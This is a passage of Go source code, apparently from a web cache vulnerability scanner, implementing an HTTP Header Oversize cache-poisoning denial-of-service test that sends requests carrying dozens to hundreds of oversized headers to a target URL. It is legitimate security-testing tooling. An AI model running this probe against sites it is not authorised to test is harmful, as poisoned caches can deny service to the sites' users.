* HTTP Header Oversize */
(repResult *reportResult)
| 1027 | |
| 1028 | /* HTTP Header Oversize */ |
| 1029 | func hho(repResult *reportResult) { |
| 1030 | repetitions := []int{50, 100, 200} //4k, 8k, 16k |
| 1031 | |
| 1032 | msg := fmt.Sprintf("Testing now HHO with Size Limits of ~80*%d bytes\n", repetitions) |
| 1033 | PrintVerbose(msg, NoColor, 2) |
| 1034 | |
| 1035 | threads := Config.Threads |
| 1036 | if Config.Website.Cache.CBisHTTPMethod { |
| 1037 | threads = 1 // No multithreading if HTTP Method is used... Otherwise there will be a lot of false negatives/positives |
| 1038 | PrintVerbose("Can only scan single threaded because a HTTP Method is used as Cachebuster...\n", Yellow, 1) |
| 1039 | } |
| 1040 | sem := make(chan int, threads) |
| 1041 | var wg sync.WaitGroup |
| 1042 | wg.Add(len(repetitions)) |
| 1043 | var m sync.Mutex |
| 1044 | |
| 1045 | for _, repetition := range repetitions { |
| 1046 | go func(repetition int) { |
| 1047 | defer wg.Done() |
| 1048 | sem <- 1 |
| 1049 | defer func() { <-sem }() // Freigabe der Semaphore, egal was passiert. Dadurch werden Deadlocks verhindert |
| 1050 | |
| 1051 | limit := repetition * 8 / 100 |
| 1052 | //msg := fmt.Sprintf("Testing now HHO with Size Limit %dk bytes\n", limit) |
| 1053 | //Print(msg, NoColor) |
| 1054 | |
| 1055 | headers := []string{} |
| 1056 | values := []string{} |
| 1057 | |
| 1058 | for i := range repetition { |
| 1059 | headername := fmt.Sprintf("X-Oversized-Header-%d", i+1) |
| 1060 | value := "Big-Value-000000000000000000000000000000000000000000000000000000000000000000000000000000" |
| 1061 | headers = append(headers, headername) |
| 1062 | values = append(values, value) |
| 1063 | } |
| 1064 | |
| 1065 | rUrl := Config.Website.Url.String() |
| 1066 | cb := "cb" + randInt() |
| 1067 | success := fmt.Sprintf("HHO DOS was successfully poisoned! cachebuster %s: %s \n%s\n", Config.Website.Cache.CBName, cb, rUrl) |
| 1068 | identifier := fmt.Sprintf("HHO with limit of %dk bytes", limit) |
| 1069 | rp := requestParams{ |
| 1070 | repResult: repResult, |
| 1071 | headers: headers, |
| 1072 | values: values, |
| 1073 | identifier: identifier, |
| 1074 | url: rUrl, |
| 1075 | cb: cb, |
| 1076 | success: success, |
| 1077 | m: &m, |
| 1078 | } |
| 1079 | |
| 1080 | _, _, _ = issueRequests(rp) |
| 1081 | }(repetition) |
| 1082 | } |
| 1083 | |
| 1084 | wg.Wait() |
| 1085 | } |
| 1086 |
no test coverage detected